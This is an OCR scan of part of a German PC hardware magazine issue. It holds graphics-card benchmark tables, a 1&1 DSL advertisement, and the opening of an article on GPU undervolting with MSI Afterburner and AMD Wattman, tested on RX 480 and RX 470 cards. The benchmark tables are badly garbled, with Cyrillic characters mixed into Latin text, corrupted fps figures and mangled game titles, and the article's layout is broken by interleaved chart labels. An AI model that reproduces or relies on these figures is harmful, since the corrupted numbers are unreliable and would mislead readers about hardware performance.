Preis: Ca. 155 € (+0) 


A 0j 
C3: 49/31/14 TES: 117/85/50 СТА: 33/23/11 ТТР: 55/42/24 СОР: 46,3 PIN: 77,2 % 
D Bm 
| II” 55 9; Geroren = 
BE mH GTX 1050 Ti 
sss % Takt: 1.392 MHz, 7 GT/s 
А05: 25/20/19 CW: 69/43/22 F1:51/42/27 MEC: 28/20/11 TWW: 27/20/11 RAM: 4 GiB GDDR5 


ACS: 33/21/11 
Bl: 106/68/34 
C3: 50/33/16 


DMD: 54/36/18 
DM: 118/77/38 
TES: 103/79/49 


ЕО4: 58/40/21 
FCP: 42/34/22 
GTA: 32/23/8 


OW: 82/57/29 
ROT: 38/28/16 
TTP: 58/44/27 


ECR: 40/26/13 
W3: 45/32/17 
COP: 48,9 


Preis: Ca. 150 € (+0) 
PLV: 77,8 % 


N : 5 % 


Gw snn 
[ ш 
LEKT 
AOS:27/20003 — CW:70/43/20 

ACS: 45/28/06 — DMD:47/30/14 

BI: 108/69/34 ОМ: 102/64/26 
С3:53/33/16 TES: 135/96/54 


F1: 55/43/27 
FO4: 71/47/23 
FCP: 46/34/20 
GTA: 38/27/6 


MEC: 32/21/11 
OW: 93/62/32 
ROT: 26/15/9 

TIP: 55/41/24 


TWW: 40/25/6 
ECR: 49/30/13 
W3: 57/38/20 
COP: 31,0 


E 3 % 


E 2.17 
N 5; 
о ВЕЙ 

А05: 26/20/19 CW: 56/35/17 F1: 57/46/29 
АСЅ: 36/24/12 DMD: 53/35/18 РО4: 58/37/17 
ВІ: 98/61/30 DM: 121/77/37 FCP: 40/31/19 
(3: 45/28/13 TES: 107/78/45 СТА: 30/21/11 


* 3.584 МІВ (224 Bit) 
+ 512 МІВ (32 Bit) 


МЕС: 47/32/17 
0W: 85/58/29 
ROT: 38/27/15 
TTP: 50/38/22 


TWW: 31/21/11 
ECR: 39/25/12 
W3: 53/36/19 
СОР: 39,3 


LEE 


__ „> 
Г ШЕ: 
88 5.5 5 
AOS:25/18/]6 ^ CW:6AIS/IB F1: 56/45/25 
ACS: 40/26/11 ОМО: 46/32/16 — F04:69/45]23 
BI: 106/67/33. DM: 105/66/31 ЕСР: 43/31/17 
C3:50/31/15 TES: 122/88/50 GTA: 34/2417 


MEC: 31/23/11 
OW: 90/60/31 

ROT: 33/22/13 
TTP: 52/39/22 


TWW: 38/25/11 
ECR: 43/26/12 
W3: 54/37/19 
COP: 28,5 


Вия 


Ни ° 
Ги 
КЕНИ 35,5 % 
А05:2620П9 — CW:57/86/17 Е1:57/46/29 
АС: 36/2411 DMD:52/35/6 — F04:58/37/18 
81:98/61/30 DM: 121/77/37 ЕСР: 40/32/19 
С3:45/28/14 TES: 107/77/45 СТА: 30/21/10 


МЕС: 28/20/12 
0W: 86/58/30 
КОТ: 38/27/10 
ТТР: 50/38/23 


TWW: 31/21/7 
ECR: 39/25/12 
W3: 53/36/19 
COP: 39,3 


LEE 


N >: ~ 
uu 
[EE 293% 
А05:19/15/12 CW:57135/17 
ACS:30/19/5 ОМ: 40/26/12 

BI: 103/67/33. DM: 65/42/20 

C3: 47/30114 TES: 108/81/50 


F1: 44/36/22 
F04: 55/36/18 
FCP: 35/28/16 
GTA: 31/23/6 


MEC: 26/18/8 
OW: 76/51/26 
ROT: 21/16/6 

ТТР: 50/37/21 


TWW: 30/12/3 
ECR: 38/23/10 
W3: 45/31/17 
COP: 21,9 


LEE 


Lk 
ни 77 
Lu 25 

AOS: 18/149 CW:52/34/17 

ACS: 28/186 ОМ: 40/26/13 

Bl: 85/55/27 DM: 108/67/32 
C3:38/25/12 — TES:83/63/38 


Е1: 35/30/19 
FO4: 41/2715 
FCP: 33/27/17 
GTA: 26/19/6 


МЕС: 22/17/5 
OW: 66/45/23 
ROT: 27/20/11 
ТТР: 44/35/21 


TWW: 24/17/5 
ECR: 30/20/10 
W3: 37/27/16 
СОР: 45,2 


LE 


N 32,7 % 
C 29.5 % 
21,5% 
AOS: 20/16/15 СМ: 45/28/14 
ACS: 23/15/8 ОМО: 39/26/12 
BI: 76/48/23 ОМ: 89/56/27 
С3:35/22011 Т5: 83/60/35 


F1: 42/34/21 
РО4: 45/29/14 
ЕСР: 30/24/15 
СТА: 23/17/8 


МЕС: 22/16/8 
OW: 63/44/22 
КОТ: 28/20/9 

ТТР: 39/30/18 


TWW: 23/15/5 
ECR: 30/19/9 
W3: 39/27/14 
СОР: 32,0 


=G=— sa: % 


БК 
НЕНИ Ek 
wa 27.5 % 
AOS: 18/14/13  CW: 53/32/15 
ACS:29/19/8 DMD: 34/23/11 


F1: 38/31/20 
FO4: 48/32/15 


MEC: 20/16/7 
OW: 66/44/22 


TWW: 26/17/9 
ECR: 35/21/10 


BI: 86/55/27 ` ОМ: 64/41/19 — FCP:32/4/14 — ROT2U/4/] — W3:3927/4 
C3:42/262 TES:92/6788 — GTA:28208 — "rung СОР:17,5 

r  PE02 

EN `o. % 

C 2 

N 19.1 % 

AOS: 18/1118 СМК 45/28/04 FI:37D8/15 MEC:19/10/5 TWW: 1610/3 
ACS:231133 ОМ0: 34/220 F04: 45/273 OW: 63/43/20 ЕСҜ:30/19/2 
В: 76/4709 ОМ: 73/4121 FCP:30/249 07:17130 М3:39/26/12 
03:352206 ТЕ5:83/6084 6ТА:21/1318 TTP:39/30118 СОР: 32,0 
LBE 

р 

E 25.: % 

u—— 3.5 % 

AOS:18/13/2  CW:42/2612 — FI:3628/7 — MEC22/7/10 — TWW:22/15/6 
ACS: 2811818 — DMD:3020/10 — FOA:41/27/14 OW:5513719 — ECR:29/8/8 
BEGG/41/20 ` DM:543416 — FCP:27/21/12 — ROT.21/15/8 — W3:36/24/13 
(3:31П99 — "emeng — GTA23/6/7  TTP:27/213  СОР:191 


Spiele-/Anwendungsnamen: Ashes o 


Ethan Carter Redux (ECR), The Witcher 3 (W3), Capture One Pro (CÓP) — 


System: Core i7-6800K @ 4,4 GHz unas: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1607); anisotroper Texturfilter ааа auf „Hohe Qualität” (HQ-AF); Vsync/Framelocks aus 
the See? (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (BI), Crysis 3 (СЗ), Crysis Warhead (CW), Deus Ex: Mankini 

Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (ТТР), Total War: Warhammer T The duos Scrolls 5: Skyrim (TES), The Vanishing of 
20 Tests an der Zahl! Angabe auf die nächste Ganzzahl gerundeter Fps, außer COP (Megapixel/s). 


Divided ( (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (FO4), 
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BESTES WLAN FÜR IHR 
1&1 DSL 


INTERNET & TELEFON 


Sparpreis für 12 Monate, 
danach 24,99 €/Monat. 


Auf Wunsch dazu: 


Der 1&1 HomeServer Speed für noch schnellere datenintensive 
Anwendungen wie Musik- oder Video-Streaming in HD-Qualität. Er ist 
WLAN-Router, Telefonanlage und superschnelles Heimnetzwerk in einem Gerät. 


In Ruhe Expertenrat? S^ Defekt? 
ausprobieren: Jederzeit: Morgen neu! 


MONAT ANRUF TAG 


Ü AUSTAUSCH 
TESTEN GENUGT VOR ORT 


Internet 
made in 
Germany 


WUNSCH-PROGRAMM! 


Werden Sie jetzt Ihr eigener Programm-Chef und erleben Sie Ihre 

ingsserien und die neuesten Blockbuster wann immer Sie wollen auf 
rnseher. Dank schnellem WLAN bringen Sie Videos, Filme und 

hrer Lieblings-Online-Videothek per Smartphone oder Tablet 


Batman-v- Superman егһа 


NETFLIX 9 ZY 


Google Play 
Filme 


© 2016 Warner Bros. Entertainment Inc. and Ratpac-Dune Entertainment Inc. BATMAN V SUPERMAN: DAWN 


OFJUSTICE and all related characters and elements are trademarks of and © DC Comics. All rights reserved. 


| 
! 


Bei 1&1 DSL haben Sie jetzt die Wahl: 12 Monate zum Sparpreis oder den 


z.B. zu 1&1 DSL 16 für 29,99 €/Monat* 


C 02602/9690 


* 1&1 DSL Basic für 12 Monate 9,99 €/Monat, danach 24,99 €/Monat. Inklusive Telefon-Flat ins dt. Festnetz, Internet ohne Zeitlimit (monatlich 100 GB bis zu 16 MBit/s, 
danach bis 1 MBit/s) und 1&1 DSL-Modem für 0,— €. Auf Wunsch 32" (81 cm) JVC Full-HD LED-Fernseher und Google Chromecast 2 für 0,— € inklusive bei z. B. 181 DSL 16 
für 29,99 €/Monat. Voraussetzung für die Nutzung von Google Chromecast ist ein WLAN-fáhiger Router, z. B. mit 181 HomeServer Speed für 4,99 €/Monat mehr. Netflix- 
Streaming-Mitgliedschaft erforderlich. Google Play und das Google Play-Logo sind Marken von Google Inc. Hardware-Versand 9,90 €. 24 Monate Vertragslaufzeit. 
Preise inkl. MwSt. 1&1 Telecom GmbH, Elgendorfer StraBe 57, 56410 Montabaur 
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Die Grafikkarte ist der größte Energieschlucker im 
Spiele-PC - sogar die modernen Vertreter der Pascal- 
und Polaris-Generation. Wie Sie das ändern, erfahren 


Sie im neunseitigen PCGH-Seminar , Undervolting". 


Green Gaming 


— 


iz 
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as neue Jahr beginnt für die 

meisten Haushalte mit höhe- 
ren Kosten, darunter auch für elek- 
trische Energie. Schuld daran ist 
vor allem die gegenüber 2016 um 
8,3 Prozent erhöhte EEG-Umlage, 
mit der die Stromerzeugung aus 
erneuerbaren Energien gefördert 
wird. Die schrittweise Erhöhung 
der Steuern und Umlagen führt 
dazu, dass sich die Kosten für eine 
Kilowattstunde (kWh) 
Jahrtausendwende mehr als ver- 
doppelt haben - anstelle von rund 


seit der 


14 werden nun beinahe 29 Cent 
pro Einheit fällig. 


Angesichts dieser Zahlen können 
PC-Spieler froh sein, dass der lange 
Aufwärtstrend bei der Hardware- 
Leistungsaufnahme gestoppt wur- 
de. Moderne Gaming-Grafikkarten 
benötigen höchstens 250 Watt, 
die Mittelklasse ist sogar mit 120 
bis 200 Watt zufrieden und 300 
Watt gelten nach wie vor als Ober- 
grenze innerhalb der PCI-Express- 
Spezifikation. Mit diesen Werten 
sind selbst High-End-GPUs vor den 
Ökologie-Richtlinien der Europä- 
ischen Union gefeit - zumindest 
für das Jahr 2017. Ab Herbst geht es 
zunächst den Staubsaugern an den 
Kragen, die Obergrenze der Ener- 
gieaufnahme wird dann bei 900 
anstelle von 1.600 Watt festgesetzt. 


Sparflammen-Casting 

Bei aller Sparsamkeit hat sich an ei- 
ner Tatsache nichts geändert: Gra- 
fikkarten waren, sind und bleiben 
die größten Energieschlucker im 
heimischen Spiele-PC. Die werksei- 
tig erhöhte Effizienz der aktuellen 
Chip-Architekturen Pascal (Nvidia) 
und Polaris (AMD) ist trotzdem 
nicht das Ende der Fahnenstange, 
mit ein paar Handgriffen wird Gu- 
tes noch besser. Das ist dem Sicher- 
heitspuffer zu verdanken, mit dem 
jede Grafikkarte spezifiziert wird 
und der Stabilität selbst unter wid- 
rigen Umständen sicherstellt. Man 
könnte auch sagen: Die Spannung 
aller Grafikkarten ist zu hoch und 
lässt sich daher in den meisten Fäl- 
len mehr oder minder stark senken. 
Man spricht hierbei vom Undervol- 
ting Gunterspannen^) mit dem 
Ziel, die Verlustleistung/Abwär- 
me und somit auch den Kühlauf- 
wand zu reduzieren. Wie groß die 
Knautschzone ist, hängt von den 
Faktoren Glück, Kühlung und Ein- 
satzzweck ab. 


www.pcgameshardware.de 


Der Faktor Glück ist beim Übertak- 
ten und Undervolten - beides wird 
erst durch den Sicherheitspuffer 
möglich - mindestens genauso ein- 
flussreich wie unberechenbar. Das 
sollten Sie bei jedem in diesem Ar- 
tikel erzielten Ergebnis beherzigen: 
Wir zeigen keine allgemeingültigen 
Werte, sondern lediglich die Resul- 
tate unserer Muster, abgerundet 
von Erfahrungswerten. Dennoch 
kann Ihre Grafikkarte beim Un- 
dervolting aus dem abgesteckten 
Rahmen fallen, es sind sowohl 
„Krücken‘ als auch ,Wunderkarten* 
im Umlauf. Das betrifft sowohl Ra- 
deon- als auch Geforce-Modelle, ob- 
wohl die Hersteller angeben, dass 
die FinFET-Fertigung (16/14 nm) 
eine geringere Qualitätsvarianz 
aufweist als die vorherige 28-Nano- 
meter-Generation. 


Das richtige Werkzeug 

Beim Undervolting führen meh- 
rere Wege ans Ziel, daher ist das 
Wissen um die richtigen Tools ele- 
mentar. Am besten aufgestellt sind 
AMD-Grafikkarte 
nebst aktuellem Crimson-Relive- 
Treiber (siehe Seite 46 ff.): Die Ra- 
deon Software bringt mit Wattman 
ein mächtiges Tool mit, das sich so- 
wohl zum Übertakten als auch Un- 
dervolten eignet. Im Falle der hier 


Besitzer einer 


—— -—À 


x \TAN X 


N ` N 1 м) 


Gastauftritt: Auch die Titan X (Pascal) lässt sich undervolten. Unser Muster stemmt 
bei 0,8 Volt — die 3D-Minimalspannung (s. u.) — noch 1.700 MHz, benötigt somit nur 
rund 190 Watt und ist damit beinahe erschreckend energieeffizient. 


Startup 
m * Cod: AMD Radeon (TM) RX 480 


"emer" Crimson Relive 19.12.1 


GIZI] 


MSI Afterburner als Allzweckwerkzeug: Egal, welche Grafikkarte der vergangenen 
Jahre Sie besitzen, Powerlimit und Spannungen lassen sich meistens senken. 


Voltage/Frequency curve editor 


Frequency, MHz 


900 925 950 975 


1000 1025 1050 1075 1100 1125 1150 1175 1200 


Voltage, mV 


Curve-Editor des MSI Afterburner: Die Tastenkombination Strg+F öffnet (nur) auf Pascal-Grafikkarten (GTX-10-Serie, Titan X-P) den 
sehr praktischen Spannungskurven-Editor. Auf der X-Achse sehen Sie die Spannungen und auf der Y-Achse den korrespondieren- 
den Kerntakt. Um eine bestimmte Frequenz mit einer geringeren Spannung zu nutzen, klicken Sie beispielsweise auf den Daten- 
punkt bei 875 mV und bewegen dann die Maus bei gedrückter Shift-Taste nach oben — zum Beispiel auf 1.700 MHz. Drücken Sie 
anschließend die L-Taste, wird diese Takt-Volt-Kombination gelockt, d. h. als Standard festgelegt, der in Spielen höchstens anliegt. 


02/17 | PC Games Hardware 35 


GRAFIKKARTEN | GPU-Undervolting 


behandelten Polaris-Grafikkarten 
lässt sich sogar die Spannung des 
Speichercontrollers anpassen, al- 
lerdings mit relativ geringem Ein- 
fluss auf die Leistungsaufnahme. 
Dem Nvidia-Treiber fehlt ein Over- 
clocking-Plugin, sodass Geforce-Be- 
sitzer in jedem Fall eine Zusatz-Soft- 
ware installieren müssen. Der MSI 
Afterburner (auf der Heft-DVD) ist 
unsere Empfehlung, da er sich im 
PCGH-Alltag als zuverlässige All- 
zweckwaffe bewährt hat. 


Bei Pascal-Grafikkarten (Geforce 
GTX 10, Titan X) ist eine spezielle 
Funktion des Afterburners Gold 
wert: der Voltage Curve Editor, wel- 
chen wir auf der vorherigen Seite 
abgelichtet und genauer erläutert 
haben. Nur mithilfe dieser Funkti- 
on lassen sich Geforce-Grafikkarten 
bis ins Detail ausreizen. Für diesen 
Artikel beschränken wir uns auf die 
Möglichkeit, eine bestimmte Span- 
nung zu forcieren. Wer besonders 
einstellungsfreudig ist, erstellt sich 
mehrere Kurven mit passgenau- 
en Spannungen für jede Taktrate 
und speichert sie als eines der fünf 


АМОЙ RADEON EINSTELLUNGEN 


< © Globale Einstellungen 


Grafikkarte 


STATUS 1 


108 MH 


Aktuelle Geschwindigkeit 


Frequency (MHz) 


Dynamisch 


Spannungsregelung (mV) e 


Manuel 


Memory STATUSO STATUS1 


) MH; 


Aktuelle Geschwindigkeit 


STATUS 2 


móglichen Profile ab. Ein Klick mit 
der rechten Maustaste auf eines der 
Profile lóscht es wieder; ein Links- 
klick auf das Schlosssymbol verhin- 
dert das. Der Curve Editor baut auf 
den Boost-3.0-Funktionen Pascals 
auf und ist daher auf Maxwell-GPUs 
(und älter) nicht verfügbar. 


Praxis-Querschnitt 

Für diesen Artikel haben wir un- 
zählige Messreihen mit gesenkten 
Spannungen durchgeführt. Dabei 
wurden sechs aktuelle Grafikkar- 
ten auf ihre Undervolting-Eigen- 
Es handelt 
sich ausnahmslos um Modelle der 
Pascal- 


schaften untersucht. 


und  Polaris-Generation. 
Falls Sie nach der Lektüre Under- 
volting-Gelüste verspüren, aber 
eine ältere Grafikkarte verwenden, 
legen wir Ihnen die PCGH 09/2015 
ans Herz, in der wir nicht nur Pro- 
zessoren mit Unterspannung be- 
treiben, sondern auch Grafikkar- 
ten des Typs Radeon R9 200/300 
sowie Geforce GTX 700/900. Sie 
können die Ausgabe jederzeit unter 
www.pcgh.de/undervolting2015 
nachbestellen. 


D Zurücksetzen 


STATUS3  STATUS4 STATUS5  STATUS6 STATUS7 


Bei den aktuellen Testkarten set- 
zen wir mehrheitlich auf typische 
Custom-Designs, 
unseren Marktübersichten testen. 
Nur bei der Radeon RX 480 stellen 
wir das Referenzdesign zum Ver- 
gleich neben eine starke Herstel- 
lervariante, wissend, dass sich hier 


welche wir in 


interessante Unterschiede ergeben. 
Neben diesen beiden Karten müs- 
sen eine werkseitig übertaktete Ra- 
deon RX 470 sowie je eine Geforce 
GTX 1080, 1070 und 1060 6GB zei- 
gen, welche Undervolting-Qualitä- 
ten in ihnen stecken. 


Die Tests sollen der Realität mög- 
lichst nahe kommen, daher legen 
wir großen Wert auf Stabilität und 
somit Nutzbarkeit der erzielten Ein- 
stellungen. Zu diesem Zweck ver- 
zichten wir auf Schnellschüsse und 
raten Ihnen im selben Atemzug 
ebenfalls dazu. Ein 3D-Mark- oder 
Unigine-Valley-Durchlauf mit einer 
bestimmten Spannung ist nicht mit 
Stabilität gleichzusetzen. Läuft ein 
derartiger Test ohne Artefakte oder 
Abstürze durch, ist das höchstens 
ein Indikator, dass die Grafikkarte 


nicht völlig instabil ist - anspruchs- 
volle Spiele können die Schein- 
stabilität aber rasch beenden. The 
Witcher 3 ist nicht nur ein exzellen- 
tes Spiel, sondern eignet sich auch 


bestens, um die Standfestigkeit 


von Grafikkarten zu testen: Da der 


Hexer alles von den Chips abver- 
langt, erzeugt das Spiel eine über- 
durchschnittliche Abwärme. Die 
hohe Auslastung führt bei Grafik- 
karten, die ein geringes Powerlimit 
aufweisen, zu fallenden Boosts. 
Wer bei einer solchen Karte die 
Spannung senkt, erhält höhere Fps 
- was will man mehr? 


Fazit Нагішаге 


GPU-Undervolting 

Jede Grafikkarte verkraftet ihren Stan- 
dardtakt mit geringerer Spannung. Die 
gesteigerte Effizienz führt in jedem Fall 
zu geringeren Stromkosten und ge- 
senkter Lautheit, einige Modelle wer- 
den durch Undervolting sogar schneller 
— warum, lesen Sie auf den folgenden 
Seiten. Unser Rat: ausprobieren! Ab- 
stürze sind jedoch programmiert. 


900 


1000 
Maximum (грт) |2765 
Target Temp. (°C) |75 


Minimum (rpm) 


8 ` WattTool 0.92 (for AMD RX 400 series) — Г] x 


D AMD Radeon (ТМ) R9 Fury Series v | Refresh | 


СРО Monitoring 

MHz mV Activity 0% 
PO 300 900 GPU clock 713 MHz 
pı [50 [875 Rei aia А E. 

emperature 

is au 2n Fan T 1983 rpm 
is d Š Из VRMtemp МА 
P4 911 1030 VID NA 
P5 |944 1050 VOUT 0.897 V 
P6 974 1100 VIN 12.063 V 


М VRM monitoring 
12С settings 
Load Line Calibration: NA 


On | Off | 

Phase gain: МА 
NA Set | 
— Se | 


Current scale: HA 
NA 


Voltage offset: МА 


МА x62mV Se | 


Erste Wahl für Radeon-Besitzer: Der Wattman liefert alle Stellschrauben, die man zum 
punktgenauen Undervolten einer AMD-Grafikkarte benötigt. 
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Watttool: Das Programm greift auf die Wattman-Funktionen des AMD-Treibers zurück 
und kann mit dem Crimson Relive auch Nicht-Polaris-Karten undervolten. 
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Radeon RX 480: Referenzdesign (DHE) 


Ki Start der Radeon RX 480 
entstammten alle Grafikkarten 
denselben Fertigungsstraßen und 
glichen sich wie ein Ei dem ande- 
ren. Das Referenzdesign ist mit 
einem relativ schmächtigen Kühl- 
system ausgestattet, das mittels Ra- 
diallüftung die Abwärme aus dem 
Gehäuse presst; man spricht dabei 
von einem Direct Heat Exhaust 
(DHE). Das der GPU zugespro- 
chene Wattbudget beträgt beim 
Referenzdesign 110 Watt, was zu- 
sammen mit den übrigen Kompo- 
nenten zu einer Leistungsaufnah- 
me von rund 150 Watt führt. 


in Niedriglastphasen verwendet 
wird, kommt den oft aktiven States 
4, 5 und 6 eine große Bedeutung 
zu. Grundsätzlich haben Sie zwei 
Optionen: Entweder Sie halten die 
Takt-Spannungs-Kurve intakt, oder 
Sie setzen beispielsweise die hinte- 
ren vier Powerstates gleich. Letzte- 
res bringt Stabilität: Dadurch, dass 
die Frequenzen und Spannungen 
bei Lastwechseln (beispielsweise 
in Menüs) nicht fluktuieren, sind 
Abstürze durch eine  wacklige 
Spannungskurve ausgeschlossen. 
Wir entscheiden uns für eine intak- 
te Kurve, allerdings mit signifikant 
gesenkten Spannungen. 


Undervolting macht alles besser 


The Witcher 3, 2.560 x 1.440, max. Det. außer Gameworks - „Skellige Forest" 


Diagnose: Limits allerorten 110 | 

In der Praxis hält das Referenzde- Wichtig ist, dass Sie nicht direkt £ ue WEE ee 
sign dierechnenden Komponenten 1.000 Millivolt für den P7-Status Š 

an der kurzen Leine: Das Tempera- eintragen, denn damit sind Abstür- a 100 

turziel bei circa 85 °C wird nach ze im wahrsten Sinne program- = 95 

wenigen Minuten erreicht und die miert. Tasten Sie sich їп kleinen Б 

GPU-TDP limitiert so stark, dass der Schritten von höchstens 25 mV E 2 

Boost schon bei Spielstart unter voran. Unser Sample lässt sich zum T 85 

1.200 MHz fällt - der 1.266-MHz- Betrieb mit 1,05 bis 1,02 Volt (P7 > " 


Maximalboost liegt in weiter Ferne. 


bis P5) überreden. Auch die RAM- 


Standard 
-1.186/4.000 MHz 


Undervolt. & untertaktet 
1.200/4.000 MHz 


Undervolted 


Eine elektrisch und thermisch der- -1.212/4.000 MHz 


Controllerspannung vertrágt einen 


art limitierte Grafikkarte spricht Abzug von 100 mV. Das führt zu ge- 1,150 аш ш а 
а! а! а! 
Беѕопаегѕ gut auf Undervolting ап. steigerter Energieeffizienz: Anstel- 29/30,1 Fps 29/30,7 Fps 29/30,3 Fps 
| le von rund 1.186 MHz arbeitet die Sg 100% 913% 86,1% 
Symptomlinderung Karte während der 20-minütigen D 
o o o 
Ein Blick in den Wattman verrät die Hexerei mit 1.212 MHz, die Bildrate г-5раппипд nr ER 82998 
Standardwerte unseres Musters: steigt. Dennoch limitiert das Pow- E 100 % 99,9 % 93,5% 
1,150 Volt (1.150 mV) im höchs- erbudget konstant, sodass der Ver- 
Fps 100 96 102,0 % 100,1 % 


ten GPU-Powerstate (siehe Bilder 
unten) sowie 1,000 Volt aufsei- 
ten des Speichercontrollers. Da 
der P7-State in The Witcher 3 nur 


brauch gleich bleibt. Untertakten 
Sie die GPU auf einen festen Wert, 
lässt sich die Spannung deutlicher 
senken, wie rechts zu sehen. 


System: AMD Radeon RX 480/8G, Core i7-6800K @ 4,4 GHz, X99, 4 x 8G DDR4-3000, Windows 10 x64; 
SC Relive 16.12.1 WHQL (HQ) Bemerkungen: Das Spiel läuft 20 Minuten (Aufheiz-/Stabilitátstest); die 
Werte sind gerundet. Angegeben ist die Leistungsaufnahme des ganzen PCs (ohne Bildschirm). 


АМОЙ RADEON 
GA ck 299 TDP und Boost im 20-Minuten-Verlauf 
The Witcher 3, 2.560 x 1.440, max. Det. außer Gameworks - „Skellige Forest" 
119 1.250 
Е uic lA da 1.225 
15‘ | UUM | 1425 
E Boost Standard (MHz) В Boost undervoltet (MHz) 
1.150 
ҹә 113 N 
S = 
z Be | 1.125 = 
1.100 
109 1.075 
1.050 
107 
1.025 
Jš GPU-TDP Standard (Watt) MM GPU-TDP undervolted (Watt) 
105 1.000 
0 200 400 600 800 1.000 1.200 


Zeit in Sekunden 


System: AMD Radeon RX 480/8G, Core i7-6800K @ 4,4 GHz, X99, 4 x 8G DDR4-3000, Windows 10 x64; 
RSC Relive 16.12.1 WHQL (HQ) Bemerkungen: Messprotokoll des MSI Afterburner, Polling Rate 500 Millise- 
kunden. Eindeutig: Geringere Spannung führt dazu, dass die GPU bei gleichem Verbrauch schneller rechnet. 


RX 480 optimiert: Die AMD-Karte ist stark powerlimitiert, daher senken wir die Span- 
nungen aller hohen Powerstates. Der Lohn ist ein hóherer Boost bei gleicher TDP. 
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Radeon RX 480: Kräftiges Custom-Design 


Weniger Strom, weniger Lüfterrauschen 


The Witcher 3, 2.560 x 1.440, max. Det. außer Gameworks - „Skellige Forest” 


110 
ш GPU-Spannung MI RAM-Ctrir.-Spannung В Leistungsaufnahme # Fps 
- 
5 105 
N 
H 100 
= 
a 95 
Е 
2 
[7] 90 
© 
© 
Ka 85 
š 
80 
Standard Undervolted Undervolt. & untertaktet 
1.303/4.000 MHz 1.303/4.000 MHz 1.265/4.000 MHz 
1,175/0,975V GPU/RAM 1,075/0,900V GPU/RAM 1,025/0,875V GPU/RAM 
323 Watt 302 Watt 284 Watt 
31/32,2 Fps 31/32,2 Fps 30/31,5 Fps 
GRU 100 % 91,5% 87,2% 
Spannung 
RAM-Ctrl- 
r-Spannung 100 % 923 % 89,7 % 
Leistungs- 
ашпаһте 100 % 93,5 % 87,9 % 
Fps 100 % 100 % 97,8 % 
System: MSI АХ 480 Gaming X 8G, Core i7-6800K @ 4,4 GHz, X99, 4 х 8G DDR4-3000, Windows 10 x64; 
SC Relive 16.12.1 WHQL (HQ) Bemerkungen: Das Spiel läuft 20 Minuten (Aufheiz-/Stabilitátstest); die 


Werte sind gerundet. Angegeben ist die Leistungsaufnahme des ganzen PCs (ohne Bildschirm). 


TDP und Boost im 20-Minuten-Verlauf 


The Witcher 3, 2.560 x 1.440, max. Det. außer Gameworks - „Skellige Forest” 


170 1.400 
88 GPU-TDP Standard (Watt) 


165 


160 


155 


Watt 
MHz 


150 


145 |; 


m H 1.220 
W GPU-TDP undervolted (Watt) ` 

135 1.200 
0 200 400 600 800 1.000 1.200 


Zeit їп Sekunden 


System: MSI RX 480 Gaming X/8G, Core i7-6800K @ 4,4 GHz, X99, 4 x 8G DDR4-3000, Windows 10 x64; 
RSC Relive 16.12.1 WHQL (HQ) Bemerkungen: Messprotokoll des MSI Afterburner, Polling Rate 500 Millise- 
kunden. Der Boost ist nicht powerlimitiert, sodass Undervolting nur den Verbrauch (deutlich) beeinflusst. 
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ie zweite Radeon RX 480 in 

diesem Test macht alles an- 
ders als die AMD-Referenzkarte. 
Selbstverständlich handelt es 
sich noch immer um eine Polaris- 
10-GPU nebst 8 GiByte GDDR5- 
Speicher, die Limits hinsichtlich 
des Powerlimits und der Kühlung 
sind jedoch praktisch ausgehebelt. 
Das Powerlimit der GPU (TDP) be- 
tràgt 180 Watt - mehr als die Refe- 
renzkarte insgesamt zur Verfügung 
hat! Die starke Kühlung ist diesem 
Limit angepasst Sie lässt höchs- 
tens 75 °C zu und erstickt Thermal 
Throttling somit im Keim. Faktisch 
senkt die MSI Gaming X ihren 
1.303-MHz-Boost in keinem unse- 
rer Testspiele und ist somit fühlbar 
schneller als die AMD-Vorlage. 


Gegen den Durst 

Vergleicht man die Werte der AMD- 
mit der MSI-Karte, werden die Un- 
terschiede deutlich. Steckt Erstere 
im PC, beträgt die Leistungsaufnah- 
me des Testsystems 291 Watt. Mit 
der MSI Gaming X benötigt der- 
selbe Rechner 323 Watt (+11 %), 
stellt The Witcher 3 aufgrund des 
höheren GPU-Boosts jedoch +7 % 
flüssiger dar. Die Energieeffizienz 
der AMD-Karte ist folglich etwas 
besser, auch wenn sie im Gegensatz 
zum MSI-Design Schwäche zeigt. 


Stellen Sie sich das Powerbudget 


als Messlatte vor, über die der Gra- 
fikchip nicht springen kann. Das 


Frequency (MHz) 


Spannungsregelung (mv; 
LJ 


möchte er im Falle der MSI-Karte 
auch nicht, die 180 Watt genügen 
zur freien Entfaltung des auf 1.303 
MHz eingestellten Boosts. Letzte- 
res wird durch das Messprotokoll 
unterstrichen, das Sie in der Grafik 
links unten sehen: Die GPU-TDP 
wird im Standardbetrieb nicht aus- 
gereizt und liegt im Mittel bei 162 
Watt - auch das ist mehr, als die Re- 
ferenzkarte ingesamt umsetzt. 


Ein Blick in den Wattman offenbart, 
dass unser Sample eine Spannung 
von 1,175 Volt verwendet, wel- 
che im P7-Status hinterlegt ist. Da 
Letzterer unter Last kontinuierlich 
anliegt, wird die Karte auf Ände- 
rungen in diesem Feld anspringen. 
Wie beim AMD-Referenzdesign ent- 
scheiden wir uns aus kosmetischen 
Gründen dazu, die eine sanfte 
Kurve intakt zu lassen, anstatt die 
hinteren Powerstates vorsichtshal- 
ber auf dieselben Werte zu setzen 
(siehe Bilder unten). Einige Tests 
und Abstürze später landen wir bei 
1,075 Volt Kernspannung, genau 
100 Millivolt weniger als vorgese- 
hen. Mit 1,050 Volt stürzt der Hexer 
nach circa fünf Minuten ab. Da das 
Powerlimit den Boost nicht hemmt, 
bleibt dieser unverändert. Die re- 
duzierte Spannung führt direkt zu 
geringerem GPU-Verbrauch; höchs- 
tens 150 und im Mittel 143 Watt 
stehen im Protokoll (-12 %). Den 
AMD-Referenztakt stemmt die Kar- 
te noch mit 1,025V. 


RX 480 optimiert: Bei der MSI-Karte ist unter Last stets der P7-Status aktiv, sodass 
vor allem dessen Spannung gesenkt werden sollte. -100 mV stellen kein Problem dar. 
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Radeon RX 470: Typisches Custom-Design 


er aktuelle Preis-Leistungs- 

Tipp unter den Spieler-Gra- 
fikkarten darf in diesem Artikel 
nicht fehlen. Im Gegensatz zur Ra- 
deon RX 480/8G, bei der wir zwei 
Design-Philosophien untersuchen, 
verwenden wir bei der RX 470/4G 
ein typisches Partnerdesign. „Ty- 
pisch“ bedeutet, dass die Karte 
keine ausufernden Parameter hin- 
sichtlich Powerlimit und Boost 
